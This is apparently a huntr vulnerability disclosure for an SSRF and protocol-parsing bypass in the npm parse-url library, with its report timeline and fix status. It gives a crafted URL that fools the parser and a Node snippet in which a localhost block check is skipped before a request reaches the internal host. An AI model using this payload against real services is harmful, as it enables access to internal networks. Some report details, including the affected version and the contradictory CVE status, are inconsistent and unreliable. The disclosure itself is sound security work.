## huntr

# parser bypass and make SSRF attack in ionicabizau/parseurl

✓ Valid Reported on Aug 3rd 2022

parse-url inproperly detecting protocol, resource and Pathname . This allow to bypass protocol check . Also this bug make ssrf check bypass

lets check normal url result for parse-url

```
import parseUrl from "parse-url";
console.log(parseUrl("http://nnnn@localhost:808/?id=xss"))
{
 protocols: [ 'http' ],
 protocol: 'http',
 port: '808',
 resource: 'localhost',
 host: 'localhost:808',
 user: 'nnnn',
 password: '',
 pathname: '/',
 hash: '',
 search: 'id=xss',
 href: 'http://nnnn@localhost:808/?id=xss',
 query: { id: 'xss' },
 parse failed: false
```

Now provide bellow crafted url to confuse the parse-url.

```
import parseUrl from "parse-url";
console.log(parseUrl("http://nnnn@localhost:808:/?id=xss"))
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```

```
{
  protocols: [ 'ssh' ],
  protocol: 'ssh',
  port: '',
  resource: 'nnnn@localhost',
  host: 'nnnn@localhost',
  user: 'git',
  password: '',
  pathname: '/808',
  hash: '',
  search: '',
  href: 'http://nnnn@localhost:808:/?id=xss',
  query: {},
  parse_failed: false
}
```

Here in this output see it incorrectly detecting the protocol,resource,pathname, and user param

### SSRF BYPASS and access blacklist domain

lets assume developer set blackList domain localhost

```
import parseUrl from "parse-url";
import fetch from 'node-fetch';
var parsed=parseUrl("http://nnnn@localhost:808:/?id=xss")
if(parsed.resource=="localhost"){
  console.log("internal network access is blocked")
}
else{
  const response = await fetch('http://'+parsed.resource+parsed.pathname);
      console.log(response)
}
```

# **Impact**

#### ssrf to access internal network

#### CVE

CVE-2022-2900 (Published)

#### Vulnerability Type

CWE-918: Server-Side Request Forgery (SSRF)

#### Severity

Critical (9.1)

#### Registry

Npm

#### Affected Version

800

#### Visibility

Public

#### Status

Fixed

#### Found by



## ranjit-git

@raniit-git

amateur 🗸

#### Fixed by



Ionică Bizău (Johnny B.)

@ionicabizat

unranked V

This report was seen 1,367 times.

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We are processing your report and will contact the ionicabizau/parse-url team within 24 hours. ranjit-git modified the report 4 months ago ranjit-git modified the report 4 months ago ranjit-git modified the report 4 months ago We have contacted a member of the ionicabizau/parse-url team and are waiting to hear back We have sent a follow up to the ionicabizau/parse-url team. We will try again in 7 days. We have sent a second follow up to the ionicabizau/parse-url team. We will try again in 10 days. Ionică Bizău (Johnny B.) validated this vulnerability 3 months ago ranjit-git has been awarded the disclosure bounty 🗸 The fix bounty is now up for grabs The researcher's credibility has increased: +7 We have sent a fix follow up to the ionicabizau/parse-url team. We will try again in 7 days. We have sent a second fix follow up to the ionicabizau/parse-url team. We will try again in 10 We have sent a third and final fix follow up to the ionicabizau/parse-url team. This report is now

We have sent a third and final fix follow up to the **ionicabizau/parse-url** team. This report is now considered stale. 3 months ago

Ionică Bizău (Johnny B.) marked this as fixed in 8.1.0 with commit b88c81 2 months ago

Ionică Bizău (Johnny B.) has been awarded the fix bounty

This vulnerability will not receive a CVE x

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Sorry, this was fixed in 8.1.0 ...

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